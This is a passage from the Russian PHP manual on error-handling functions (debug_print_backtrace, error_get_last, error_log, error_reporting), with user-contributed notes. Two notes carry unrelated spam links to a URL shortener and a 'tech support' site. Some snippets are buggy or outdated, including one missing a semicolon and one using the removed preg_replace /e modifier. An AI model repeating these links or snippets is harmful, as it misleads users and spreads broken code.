                        $args[] = $str;
                    }
                }

                $s .= $arr['function'].'('.implode(', ',$args).')';
                $s .= sprintf("</font><font color=#808080 size=-1> # line %4d,".
  " file: <a href=\"file:/%s\">%s</a></font>",
  $arr['line'],$arr['file'],$arr['file']);
                $s .= "\n";
            }
            $s .= '</pre>';
            if ($print) print $s;
        }
        return $s;
    }


Выводит стек вызовов функций

  • « debug_backtrace
  • error_clear_last »
  • PHP Manual
  • Функции обработки ошибок
  • Выводит стек вызовов функций

debug_print_backtrace

(PHP 5, PHP 7, PHP 8)

debug_print_backtrace — Выводит стек вызовов функций

Описание

debug_print_backtrace(int $options = 0, int $limit = 0): void

debug_print_backtrace() выводит стек вызовов функций. Выводит вызовы функций, имена включённых/требуемых файлов и другую информацию из функций (eval()).

Список параметров

options

Аргумент является битовой маской для следующих настроек:

Опции debug_print_backtrace()
DEBUG_BACKTRACE_IGNORE_ARGS Нужно ли исключить ключ "args", то есть списки аргументов всех функций/методов, чтобы уменьшить расход памяти.

limit

Аргумент используется для ограничения количества вызовов функций, которые будут выведены. По умолчанию (limit=0) будет выведен весь стек вызовов.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования debug_print_backtrace()

<?php
// файл include.php

function a() {
b();
}

function b() {
c();
}

function c(){
debug_print_backtrace();
}

a();

?>
<?php
// файл test.php
// этот файл нужно запустить
include 'include.php';
?>

Результатом выполнения данного примера будет что-то подобное:

#0  c() called at [/tmp/include.php:10]
#1  b() called at [/tmp/include.php:6]
#2  a() called at [/tmp/include.php:17]
#3  include(/tmp/include.php) called at [/tmp/test.php:3]

Смотрите также

  • debug_backtrace() - Генерирует стек вызовов функций

User Contributed Notes

David Spector 02-Aug-2020 02:58
If your show your error messages in HTML (with suitable safety using entities), this function won't work nicely because it uses newlines for formatting.

Here is a function that works similarly, but using <BR> tags. Insert it near the beginning of your program to add a stack to Warning output only, or modify it as you like:

// Here is code for error stack output in HTML:
function error_handler_callback($errno,$message,$file,$line,$context)
    {
    if ($errno === E_WARNING)
        echo "Stack, innermost first:<br>".nl2br((new Exception())->getTraceAsString());
    return false; // to execute the regular error handler
    }
set_error_handler("error_handler_callback");
AB 18-Oct-2015 06:59
This code will give you a simple horizontal stack trace to assist debugging:

<?php

class A {
    public function testA() {
        echo "<LI>Class A.testA ----??";
        echo "<LI>".$this->whoDidThat();
    }
    public function whoDidThat() {
        $who=debug_backtrace();
        $result="";
        $count = 0;
        $last=count($who);
        foreach($who as $k=>$v) {
            if ($count++ > 0) {
                $x="";
                if ( $count>2) {
                    $x=">";
                }
                $result="[line".$who[$k]['line']."]".$who[$k]['class'].".".$who[$k]['function'].$x.$result;
            }
        }
        return $result;
    }
}
class B extends A {
    public function testB() {
        echo "<LI>Class B.testB";
        echo "<LI>".$this->whoDidThat();
    }
    public function testA() {
        echo "<LI>Class testB.testA  ---- Y";
        echo "<LI>".$this->whoDidThat();
    }
}
class C {
    public function test() {
        echo "<HR>";
        $b=new B();
        echo "<HR>Class C calling B.testA";
        $b->testA();
    }
}

$c=new C();
$c->test();
echo debug_print_backtrace();
?>

When run you get

Class C calling B.testA
*Class testB.testA ---- Y
*[line45]C.test>[line40]B.testA
chris dot kistner at gmail dot com 01-Apr-2010 04:31
Here's a function that returns a string with the same information shown in debug_print_backtrace(), with the option to exclude a certain amount of traces (by altering the $traces_to_ignore argument).

I've done a couple of tests to ensure that it prints exactly the same information, but I might have missed something.

This solution is a nice workaround to get the debug_print_backtrace() information if you're already using ob_start() in your PHP code.

<?php
function get_debug_print_backtrace($traces_to_ignore = 1){
    $traces = debug_backtrace();
    $ret = array();
    foreach($traces as $i => $call){
        if ($i < $traces_to_ignore ) {
            continue;
        }

        $object = '';
        if (isset($call['class'])) {
            $object = $call['class'].$call['type'];
            if (is_array($call['args'])) {
                foreach ($call['args'] as &$arg) {
                    get_arg($arg);
                }
            }
        }

        $ret[] = '#'.str_pad($i - $traces_to_ignore, 3, ' ')
        .$object.$call['function'].'('.implode(', ', $call['args'])
        .') called at ['.$call['file'].':'.$call['line'].']';
    }

    return implode("\n",$ret);
}

function get_arg(&$arg) {
    if (is_object($arg)) {
        $arr = (array)$arg;
        $args = array();
        foreach($arr as $key => $value) {
            if (strpos($key, chr(0)) !== false) {
                $key = '';    // Private variable found
            }
            $args[] =  '['.$key.'] => '.get_arg($value);
        }

        $arg = get_class($arg) . ' Object ('.implode(',', $args).')';
    }
}
?>
bishop 28-Jul-2009 01:20
Another way to manipulate and print a backtrace, without using output buffering:

<?php
// print backtrace, getting rid of repeated absolute path on each file
$e = new Exception();
print_r(str_replace('/path/to/code/', '', $e->getTraceAsString()));
?>
dany dot dylan at gmail dot com 10-Nov-2008 09:51
I like the output of debug_print_backtrace() but I sometimes want it as a string.

bortuzar's solution to use output buffering is great, but I'd like to factorize that into a function.  Doing that however always results in whatever function name I use appearing at the top of the stack which is redundant.

Below is my noddy (simple) solution.  If you don't care for renumbering the call stack, omit the second preg_replace().

<?php
    function debug_string_backtrace() {
        ob_start();
        debug_print_backtrace();
        $trace = ob_get_contents();
        ob_end_clean();

        // Remove first item from backtrace as it's this function which
        // is redundant.
        $trace = preg_replace ('/^#0\s+' . __FUNCTION__ . "[^\n]*\n/", '', $trace, 1);

        // Renumber backtrace items.
        $trace = preg_replace ('/^#(\d+)/me', '\'#\' . ($1 - 1)', $trace);

        return $trace;
    }
?>


Очистить самую последнюю ошибку

  • « debug_print_backtrace
  • error_get_last »
  • PHP Manual
  • Функции обработки ошибок
  • Очистить самую последнюю ошибку

error_clear_last

(PHP 7, PHP 8)

error_clear_last — Очистить самую последнюю ошибку

Описание

error_clear_last(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Очищает самую последнюю ошибку, делая невозможным получение её с помощью error_get_last().

Примеры

Пример #1 Пример error_clear_last()

<?php
var_dump(error_get_last());
error_clear_last();
var_dump(error_get_last());

@$a = $b;

var_dump(error_get_last());
error_clear_last();
var_dump(error_get_last());
?>

Результатом выполнения данного примера будет что-то подобное:

NULL
NULL
array(4) {
  ["type"]=>
  int(8)
  ["message"]=>
  string(21) "Undefined variable: b"
  ["file"]=>
  string(9) "%s"
  ["line"]=>
  int(6)
}
NULL

Смотрите также

  • Константы ошибок

User Contributed Notes

There are no user contributed notes for this page.


Получение информации о последней произошедшей ошибке

  • « error_clear_last
  • error_log »
  • PHP Manual
  • Функции обработки ошибок
  • Получение информации о последней произошедшей ошибке

error_get_last

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

error_get_last — Получение информации о последней произошедшей ошибке

Описание

error_get_last(): ?array

Получает информацию о последней произошедшей ошибке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив с описанием последней произошедшей ошибки. Ключи массива: "type", "message", "file" и "line". Если ошибка произошла во внутренней функции PHP, элемент с ключом "message" будет начинаться с имени этой функции. Возвращает null, если ошибок ещё не произошло.

Примеры

Пример #1 Пример использования error_get_last()

<?php
echo $a;
print_r(error_get_last());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [type] => 8
    [message] => Undefined variable: a
    [file] => C:\WWW\index.php
    [line] => 2
)

Смотрите также

  • Константы ошибок
  • Переменная $php_errormsg
  • error_clear_last() - Очистить самую последнюю ошибку
  • Директива display_errors
  • Директива html_errors
  • Директива xmlrpc_errors

User Contributed Notes

Krzysztof Przygoda 20-May-2023 07:24
Be aware that error_get_last() returns only uncaught errors.
Caught ones will never get to the error_get_last(), i.e.:
- $error_levels registered with set_error_handler() when $callback does not return false,
- all exceptions, including errors not supported by set_error_handler() (like :E_ERROR/fatal error, E_PARSE, etc.) that are exceptions in fact,
  when set_exception_handler($callback) is registered,
- exceptions caught by try/catch block.
admin at manomite dot net 18-Dec-2017 11:06
This is a simple debugging script for mail functions...

<?php
//Built By Manomite for Debugging

class Error{

function __construct(){

error_reporting ( E_ALL ^ E_NOTICE );
$err = error_get_last ();

if($err){

$res = "An error has occurred in your application sir.\n Details Include " .$err.""

mail("admin@manomite.net","Error Occurred",$res,$from);
}
}
}
?>
nicolas dot grekas+php at gmail dot com 23-Oct-2013 09:37
[Editor's note: as of PHP 7.0.0 there is error_clear_last() to clear the most recent error.]

To clear error_get_last(), or put it in a well defined state, you should use the code below. It works even when a custom error handler has been set.

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
vike2000 at google mail domain 06-Mar-2013 11:26
To know if something happened between two statements one can of course use a special string with user_error() (in lieu of a built-in special reset mentioned by mail at mbaierl dot com): <?php
@user_error($error_get_last_mark='error_get_last mark');
$not_set;
$error_get_last=error_get_last();
$something_happened=($error_get_last['message']!=$error_get_last_mark); ?>

If your <?php set_error_handler(function) ?> function returns true then you'll have to roll you own error_get_last functionality. (Shortly mentioned by dmgx dot michael at gmail dot com).

To manual moderators: Re php.net/manual/add-note.php: Since i guess the above technically sorts under "References to other notes" i feel the need to defend myself with that i'm thinking it might show for usability where other's say it fails and no, i haven't got any other medium to reach the readers of the php manual notes.
Also, you could have some examples of what notes you think is okay. Thanks for your moderation.
php at joert dot net 19-Apr-2011 02:36
To simulate this function in a horrid way for php <5.2, you can use something like this.
<?php
if( !function_exists('error_get_last') ) {
    set_error_handler(
        create_function(
            '$errno,$errstr,$errfile,$errline,$errcontext',
            '
                global $__error_get_last_retval__;
                $__error_get_last_retval__ = array(
                    \'type\'        => $errno,
                    \'message\'        => $errstr,
                    \'file\'        => $errfile,
                    \'line\'        => $errline
                );
                return false;
            '
        )
    );
    function error_get_last() {
        global $__error_get_last_retval__;
        if( !isset($__error_get_last_retval__) ) {
            return null;
        }
        return $__error_get_last_retval__;
    }
}
?>
dmgx dot michael at gmail dot com 07-Oct-2010 04:41
If an error handler (see set_error_handler ) successfully handles an error then that error will not be reported by this function.
Skrol29 24-Jul-2010 03:09
Function error_get_last() will return an error information even if the error is hidden because you've used character @, because of  the "error_reporting" directive in the php.ini file, or because you've used function error_reporting().

Examples:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$y = $x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )

<?php
$y = @$x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )
scott at eyefruit dot com 25-Jun-2010 01:47
If you have the need to check whether an error was a fatal error  before PHP 5.2 (in my case, within an output buffer handler), you can use the following hack:

<?php
# Check if there was a PHP fatal error.
# Using error_get_last is the "right" way, but it requires PHP 5.2+. The back-up is a hack.
if (function_exists('error_get_last')) {
    $lastPHPError = error_get_last();
    $phpFatalError = isset($lastPHPError) && $lastPHPError['type'] === E_ERROR;
} else {
    $phpFatalError = strstr($output, '<b>Fatal error</b>:') && ! strstr($output, '</html>');
}
?>

This is, of course, language-dependent, so it wouldn't be good in widely-distributed code, but it may help in certain cases (or at least be the base of something that would work).
iant at clickwt dot com 05-Nov-2009 09:13
Beware that registing a shutdown function to catch errors won't work if other shutdown functions throw errors.

<?php

register_shutdown_function('cleanupObjects');
register_shutdown_function('handleFatalPhpError');

function cleanupObjects() {
   trigger_error('An insignificant problem', E_USER_WARNING);
}

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR || $last_error['type'] === E_USER_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

trigger_error('Something serious', E_USER_ERROR);

?>

In the above code, $last_error will contain the warning, becuase cleanupObjects() is called first.
michael at getsprink dot com 10-Aug-2009 10:15
The error_get_last() function will give you the most recent error even when that error is a Fatal error.

Example Usage:

<?php

register_shutdown_function('handleFatalPhpError');

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

?>
phil at wisb dot net 04-Dec-2008 04:12
While mail at mbaierl dot com makes the point that this function isn't best for reporting the possible error condition of the most recently executed step, there are situations in which it is especially helpful to know the last error—regardless of when it occurred.

As an example, imagine if you had some code that captured the output from dynamic pages, and cached it for faster delivery to subsequent visitors. A final sanity check would be to see if an error has occurred anywhere during the execution of the script. If there has been an error, we probably don't want to cache that page.
Brad 16-Jun-2008 11:54
Like $php_errormsg, the return value of this function may not be updated if a user-defined error handler returns non-FALSE. Tested on PHP 5.2.6.

<?php
var_dump(PHP_VERSION);
// Outputs: string(5) "5.2.6"

@trigger_error("foo");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b',''));

@trigger_error("bar");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b','return false;'));

@trigger_error("baz");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "baz"
?>
Brad 16-Jun-2008 11:36
It can't be completely reset, but you can "clear" it well enough for all practical purposes:
<?php
@trigger_error("");
// do stuff...
$e=error_get_last();
if($e['message']!==''){
    // An error occurred
}
?>
mail at mbaierl dot com 04-Jun-2008 05:21
This function is pretty useless, as it can not be reset, so there is no way to know if the error really happened on the line before this function call.


Отправляет сообщение об ошибке заданному обработчику ошибок

  • « error_get_last
  • error_reporting »
  • PHP Manual
  • Функции обработки ошибок
  • Отправляет сообщение об ошибке заданному обработчику ошибок

error_log

(PHP 4, PHP 5, PHP 7, PHP 8)

error_log — Отправляет сообщение об ошибке заданному обработчику ошибок

Описание

error_log(
string $message,
int $message_type = 0,
?string $destination = null,
?string $additional_headers = null
): bool

Отправляет сообщение об ошибке в лог веб-сервера или в пользовательский файл.

Список параметров

message

Сообщение об ошибке, которое должно быть логировано.

message_type

Определяет куда отправлять ошибку. Возможны следующие значения:

Типы журналов error_log()
0 | Сообщение message отправляется в системный регистратор PHP, используя механизм логирования операционной системы, или файл, в зависимости от значения директивы error_log в конфигурационном файле. Это значение по умолчанию.
1 | Сообщение message отправляется электронной почтой на адрес, установленный в параметре destination. Это единственный тип сообщения, где используется четвёртый параметр additional_headers.
2 | Больше не используется.
3 | message применяется к указанному в destination файлу. Перенос строки автоматически не добавляется в конец message.
4 | Сообщение message отправляется напрямую в обработчик логера SAPI.

destination

Назначение. Устанавливается в зависимости от параметра message_type.

additional_headers

Дополнительные заголовки. Используется, когда значение параметра message_type - 1. Данный тип сообщения использует ту же внутреннюю функцию, что и mail().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если message_type равен нулю, функция всегда возвращает true, независимо от того, может ли ошибка логироваться или нет.

Список изменений

Версия | Описание
8.0.0 | Параметр destination и additional_headers теперь допускают значение null.

Примеры

Пример #1 Примеры использования error_log()

<?php
// Отправляет уведомление посредством серверного лога, если мы не можем
// подключиться к базе данных.
if (!Ora_Logon($username, $password)) {
error_log("База данных Oracle недоступна!", 0);
}

// Уведомить администратора по электронной почте, если невозможно выделить ресурсы для FOO
if (!($foo = allocate_new_foo())) {
error_log("Большая проблема, мы выпали из FOO!", 1,
"operator@example.com");
}

// другой способ вызвать error_log():
error_log("Вы ошиблись!", 3, "/var/tmp/my-errors.log");
?>

Примечания

Внимание

error_log() не является бинарно-безопасной функцией. message обрезается по null-символу.

Подсказка

message не должен содержать null-символ. Учтите, что message может передаваться в файл, по почте, в syslog и т.д. Используйте подходящую преобразующую или экранирующую функцию, base64_encode(), rawurlencode() или addslashes() перед вызовом error_log().

User Contributed Notes

ccb2357 at gmail dot com 17-Oct-2023 07:48
// Pretty function to log info
<?php
function logger($log, $clear = true){
  file_put_contents('/path/log/logger.log', (is_object($log) || is_array($log) || is_resource($log) ? json_encode($log, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) : $log), (!$clear) ? FILE_APPEND : 0);
}
Anonymous 06-Nov-2020 08:41
Depending on the error, you may also want to add an error 500 header, and a message for the user:

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
exit($message);
russ at russtanner dot com 22-Nov-2019 09:10
You can easily filter messages sent to error_log() using "tail" and "grep" on *nix systems. This makes monitoring debug messages easy to see during development.

Be sure to "tag" your error message with a unique string so you can filter it using "grep":

In your code:

error_log("DevSys1 - FirstName: $FirstName - LastName: $Lastname");

On your command line:

tail -f /var/log/httpd/error_log | grep DevSys1

In this example, we pipe apache log output to grep (STDIN) which filters it for you only showing messages that contain "DevSys1".

The "-f" option means "follow" which streams all new log entries to your terminal or to any piped command that follows, in this case "grep".
Matthew Swift 05-Nov-2019 01:32
Relative paths are accepted as the destination of message_type 3, but beware that the root directory is determined by the context of the call to error_log(), which can change, so that one instance of error_log () in your code can lead to the creation of multiple log files in different locations.

In a WordPress context, the root directory will be the site's root in many cases, but it will be /wp-admin/ for AJAX calls, and a plugin's directory in other cases. If you want all your output to go to one file, use an absolute path.
Sion 18-Oct-2018 02:48
DO NOT try to output TOO LARGE texts in the error_log();

if you try to output massive amounts of texts it will either cut of the text at about 8ooo characters (for reasonable massive strings, < 32 K characters) or (for insanely massive strings, about 1.6 million characters) totally crash without even throwing an error or anything (I even put it in a try/catch without getting any result from the catch).

I had this problem when I tried to debug a response from a wp_remote_get(); all of my error_log() worked as they should, except for ONE of them... (-_-)
After about a day of debugging I finally found out why & that's why I type this.

Apparently the response contained a body with over 1.6 million chars (or bytes? (whatever strlen() returns)).

If you have a string of unknown length, use this:
$start_index = 0;
$end_index = 8000;
error_log( substr( $output_text , $start_index , $end_index ) );
Robert Chapin 03-Oct-2018 11:31
When error_log() unexpectedly uses stdout, you should check if the php.ini value for error_log is empty in your CLI environment.  Something as simple as this might restore expected behavior:

<?php ini_set('error_log', 'error_log'); ?>
roychri at php dot net 25-Apr-2010 09:02
There is a limit on the maximum length that you can pass as the $message.

The default seem to be 1024 but can be changed by adjusting the value of the runtime configuration value of 'log_errors_max_len'.

More details here:
http://www.php.net/manual/en/errorfunc.configuration.php
kevindougans at gmail dot com 24-Feb-2010 02:19
Advice to novices: This function works great along with "tail" which is a unix command to watch a log file live. There are versions of Tail for Windows too, like Tail for Win32 or Kiwi Log Viewer.

Using both error_log() and tail to view the php_error.log you can debug code without having to worry so much about printing debug messages to the screen and who they might be seen by.

Further Note: This works even better when you have two monitors setup. One for your browser and IDE and the other for viewing the log files update live as you go.
daniel dot fukuda at gmail dot com 01-Sep-2009 05:42
If you have a problem with log file permission *silently*
it's best to leave error_log directive unset so errors will be written in your Apache log file for current VirtualHost.
Anonymous 26-Aug-2009 10:22
After scouring the internet for getting event logging to
work in syslog on Windows 2003, I found the following
from this post and was able to successfully get Windows
Event Viewer to log PHP errors/notices:

http://forums.iis.net/p/1159662/1912015.aspx#1913338

   1. Copy the PHP 5 binaries to "C:\php".
   2. Right-click My Computer and select Properties to bring
up the Computer Properties dialog. Switch to the Advanced
tab and click Environment Variables. Find the system
environment variable PATH, edit it and add ";C:\php"
(without the quotes) to the end.
   3. Make sure that the configuration file "php.ini" resides
in the directory "C:\php" and contains the correct path
settings.
   4. DELETE any old "php.ini" files from "C:\WINDOWS"
and other directories.
   5. Open REGEDIT, navigate to the key
"HKLM\SOFTWARE\PHP" and DELETE the string value
"IniFilePath" from there. It is outdated and no longer
necessary!
   6. Modify NTFS security permissions of the directory
"C:\php" to give Read and Execute permissions to (1) the
IIS Guest Account and (2) the group IIS_WPG.
   7. Modify NTFS security permissions of the directories
"C:\php\session" and "C:\php\upload" to give additional
Modify permissions to (1) the IIS Guest Account and (2)
the group IIS_WPG.
   8. Navigate to the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog
\Application" and edit the value "CustomSD" there. Find
the substring "(D;;0xf0007;;;BG)" which Denies access to
the application event log for Builtin Guest accounts (like
the IIS Web User account) and replace this substring with
"(A;;0x3;;;BG)" which allows read and write access. Please
pay attention to leave the rest of the security string intact.
Damaging this value can have dangerous effects!
   9. Create or update the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\
PHP-5.2.0" (adapt the last to your version part
if necessary) with the following values:

          * "EventMessageFile" (REG_EXPAND_SZ) = "C:\php\php5ts.dll"

          * "TypesSupported" (REG_DWORD) = 7
eguvenc at gmail dot com 28-Oct-2008 08:03
<?php
//Multiline error log class
// ersin guvenc 2008 eguvenc@gmail.com
//For break use "\n" instead '\n'

Class log {
  //
  const USER_ERROR_DIR = '/home/site/error_log/Site_User_errors.log';
  const GENERAL_ERROR_DIR = '/home/site/error_log/Site_General_errors.log';

  /*
   User Errors...
  */
    public function user($msg,$username)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."  |  User:  ".$username."\n";
    error_log($log, 3, self::USER_ERROR_DIR);
    }
    /*
   General Errors...
  */
    public function general($msg)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."\n";
    error_log($msg."   |  Tarih:  ".$date, 3, self::GENERAL_ERROR_DIR);
    }

}

$log = new log();
$log->user($msg,$username); //use for user errors
//$log->general($msg); //use for general errors
?>
paul dot chubb at abs dot gov dot au 16-Jun-2008 10:37
When logging to apache on windows, both error_log and also trigger_error result in an apache status of error on the front of the message. This is bad if all you want to do is log information. However you can simply log to stderr however you will have to do all message assembly:

LogToApache($Message) {
        $stderr = fopen('php://stderr', 'w');
        fwrite($stderr,$Message);
        fclose($stderr);
}
i dot buttinoni at intandtel dot com 16-Feb-2008 03:32
Be carefull. Unexpected PHP dies when 2GByte of file log reached (on systems having upper file size limit).
A work aorund is rotate logs :)
SJL 31-Dec-2007 06:16
"It appears that the system log = stderr if you are running PHP from the command line"

Actually, it seems that PHP logs to stderr if it can't write to the log file. Command line PHP falls back to stderr because the log file is (usually) only writable by the webserver.
stepheneliotdewey at GmailDotCom 26-Jun-2007 06:05
Note that since typical email is unencrypted, sending data about your errors over email using this function could be considered a security risk. How much of a risk it is depends on how much and what type of information you are sending, but the mere act of sending an email when something happens (even if it cannot be read) could itself imply to a sophisticated hacker observing your site over time that they have managed to cause an error.

Of course, security through obscurity is the weakest kind of security, as most open source supporters will agree. This is just something that you should keep in mind.

And of course, whatever you do, make sure that such emails don't contain sensitive user data.
frank at booksku dot com 02-Nov-2006 03:28
Beware!  If multiple scripts share the same log file, but run as different users, whichever script logs an error first owns the file, and calls to error_log() run as a different user will fail *silently*!

Nothing more frustrating than trying to figure out why all your error_log calls aren't actually writing, than to find it was due to a *silent* permission denied error!
p dot lhonorey at nospam-laposte dot net 28-Aug-2006 03:33
Hi !

Another trick to post "HTML" mail body. Just add "Content-Type: text/html; charset=ISO-8859-1" into extra_header string. Of course you can set charset according to your country or Env or content.

EG: Error_log("<html><h2>stuff</h2></html>",1,"eat@joe.com","subject  :lunch\nContent-Type: text/html; charset=ISO-8859-1");

Enjoy !
php at kennel17 dot NOSPAM dot co dot uk 25-Jul-2005 02:04
It appears that the system log = stderr if you are running PHP from the command line, and that often stderr = stdout.  This means that if you are using a custom error to both display the error and log it to syslog, then a command-line user will see the same error reported twice.
kazezb at nospam dot carleton dot edu 21-Jul-2005 10:39
It appears that error_log() only logs the first line of multi-line log messages. To log a multi-line message, either log each line individually or write the message to another file.
franz at fholzinger dot com 20-Apr-2005 09:21
In the case of missing your entries in the error_log file:
When you use error_log in a script that does not produce any output, which means that you cannot see anything during the execution of the script, and when you wonder why there are no error_log entries produced in your error_log file, the reasons can be:
- you did not configure error_log output in php.ini
- the script has a syntax error and did therefore not execute
28-Mar-2003 02:14
when using error_log to send email, not all elements of an extra_headers string are handled the same way.  "From: " and "Reply-To: " header values will replace the default header values. "Subject: " header values won't: they are *added* to the mail header but don't replace the default, leading to mail messages with two Subject fields.

<?php

error_log("sometext", 1, "zigzag@my.domain",
  "Subject: Foo\nFrom: Rizzlas@my.domain\n");

?>

---------------%<-----------------------
To: zigzag@my.domain
Envelope-to: zigzag@my.domain
Date: Fri, 28 Mar 2003 13:29:02 -0500
From: Rizzlas@my.domain
Subject: PHP error_log message
Subject: Foo
Delivery-date: Fri, 28 Mar 2003 13:29:03 -0500

sometext
---------------%<---------------------

quoth the docs: "This message type uses the same internal function as mail() does."

mail() will also fail to set a Subject field based on extra_header data - instead it takes a seperate argument to specify a "Subject: " string.

php v.4.2.3, SunOS 5.8


Задаёт, какие ошибки PHP попадут в отчёт

  • « error_log
  • restore_error_handler »
  • PHP Manual
  • Функции обработки ошибок
  • Задаёт, какие ошибки PHP попадут в отчёт

error_reporting

(PHP 4, PHP 5, PHP 7, PHP 8)

error_reporting — Задаёт, какие ошибки PHP попадут в отчёт

Описание

error_reporting(?int $error_level = null): int

Функция error_reporting() задаёт значение директивы error_reporting во время выполнения. В PHP есть много уровней ошибок. Используя эту функцию, можно задать уровень ошибок времени выполнения скрипта, которые попадут в отчёт. Если необязательный аргумент error_level не задан, error_reporting() вернёт текущее значение уровня протоколирования ошибок.

Список параметров

error_level

Новое значение уровня error_reporting. Это может быть битовая маска или именованные константы. При использовании именованных констант нужно будет следить за совместимостью с новыми версиями PHP. В новых версиях могут добавиться новые уровни ошибок, увеличиться диапазон целочисленных типов. Все это может привести к нестабильной работе при использовании старых целочисленных обозначений уровней ошибок.

Доступные константы уровней ошибок и их описания приведены в разделе Предопределённые константы.

Возвращаемые значения

Функция возвращает значение директивы error_reporting, которое в ней хранилось до того, как оно было изменено на значение параметра error_level.

Замечание: Оператор управления ошибками (@) изменяет значение параметра error_level во время обработки ошибки.

Список изменений

Версия | Описание
8.0.0 | error_level теперь допускает значение null.

Примеры

Пример #1 Примеры использования error_reporting()

<?php

// Выключение протоколирования ошибок
error_reporting(0);

// Включать в отчёт простые описания ошибок
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// Включать в отчёт E_NOTICE сообщения (добавятся сообщения о
// непроинициализированных переменных или ошибках в именах переменных)
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

// Добавлять сообщения обо всех ошибках, кроме E_NOTICE
error_reporting(E_ALL & ~E_NOTICE);

// Добавлять в отчёт все ошибки PHP
error_reporting(E_ALL);

// Добавлять в отчёт все ошибки PHP
error_reporting(-1);

// То же, что и error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);

?>

Примечания

Подсказка

Если передать значение -1, будут отображаться все возможные ошибки, даже если в новых версиях PHP добавятся уровни или константы. Поведение эквивалентно передаче константы E_ALL.

Смотрите также

  • Директива display_errors
  • Директива html_errors
  • Директива xmlrpc_errors
  • Оператор управления ошибками
  • Функция ini_set() - Устанавливает значение настройки конфигурации — Устанавливает значение настройи конфигурации

User Contributed Notes

jcastromail at yahoo dot es 12-Jan-2021 03:01
Under PHP 8.0, error_reporting() does not return 0 when then the code uses a @ character.

For example

<?php

$a=$array[20]; // error_reporting() returns 0 in php <8 and 4437 in PHP>=8

?>
&IT 27-Apr-2020 08:13
error_reporting(E_ALL);
if (!ini_get('display_errors')) {
    ini_set('display_errors', '1');
}
lhenry at lhenry dot com 18-Nov-2019 06:21
In php7,  what was generally a notice or a deprecated is now a warning : the same level of a mysql error ...  unacceptable for me.

I do have dozen of old projects and I surely d'ont want to define every variable which I eventually wrote 20y ago.

So two option: let php7 degrade my expensive SSDs writing Gb/hours or implement smthing like server level monitoring ( with auto_[pre-ap]pend_file in php.ini) and turn off E_WARNING

Custom overriding the level of php errors should be super handy and flexible ...
huhiko334 at yandex dot ru 23-Sep-2018 02:20
If you get a weird mysql warnings like "Warning: mysql_query() : Your query requires a full tablescan...", don't look for error_reporting settings - it's set in php.ini.
You can turn it off with
ini_set("mysql.trace_mode","Off");
in your script
http://tinymy.link/mctct
luisdev 29-May-2018 12:26
This article refers to these two reporting levels:

// Report all PHP errors (see changelog)
error_reporting(E_ALL);

// Report all PHP errors
error_reporting(-1);

What is the difference between those two levels?

Please update this article with a clear explanation of the difference and the possible use cases.
kevinson112 at yahoo dot com 16-Apr-2018 05:34
I had the problem that if there was an error, php would just give me a blank page.  Any error at all forced a blank page instead of any output whatsoever, even though I made sure that I had error_reporting set to E_ALL, display_errors turned on, etc etc.  But simply running the file in a different directory allowed it to show errors!

Turns out that the error_log file in the one directory was full (2.0 Gb).  I erased the file and now errors are displayed normally.  It might also help to turn error logging off.

https://techysupport.co/norton-tech-support/
adam at adamhahn dot com 14-Mar-2017 09:35
To expand upon the note by chris at ocproducts dot com. If you prepend @ to error_reporting(), the function will always return 0.

<?php
error_reporting(E_ALL);
var_dump(
    error_reporting(), // value of E_ALL,
    @error_reporting() // value is 0
);
?>
chris at ocproducts dot com 12-Nov-2016 12:55
The error_reporting() function will return 0 if error suppression is currently active somewhere in the call tree (via the @ operator).
qeremy ! gmail 10-Apr-2015 11:44
If you want to see all errors in your local environment, you can set your project URL like "foo.com.local" locally and put that in bootstrap file.

<?php
if (substr($_SERVER['SERVER_NAME'], -6) == '.local') {
    ini_set('display_errors', 1);
    ini_set('error_reporting', E_ALL);
    // or error_reporting(E_ALL);
}
?>
Rash 03-Jan-2015 05:18
If you are using the PHP development server, run from the command line via `php -S servername:port`, every single error/notice/warning will be reported in the command line itself, with file name, and line number, and stack trace.

So if you want to keep a log of all the errors even after page reloads (for help in debugging, maybe), running the PHP development server can be useful.
forcemdt 01-Oct-2013 07:56
Php >5.4

Creating a Custom Error Handler

set_error_handler("customError",E_ALL);
function customError($errno, $errstr)
  {
  echo "<b>Error:</b> [$errno] $errstr<br>";
  echo "Ending Script";
  die();
  }
teynon1 at gmail dot com 09-Feb-2012 08:50
It might be a good idea to include E_COMPILE_ERROR in error_reporting.

If you have a customer error handler that does not output warnings, you may get a white screen of death if a "require" fails.

Example:
<?php
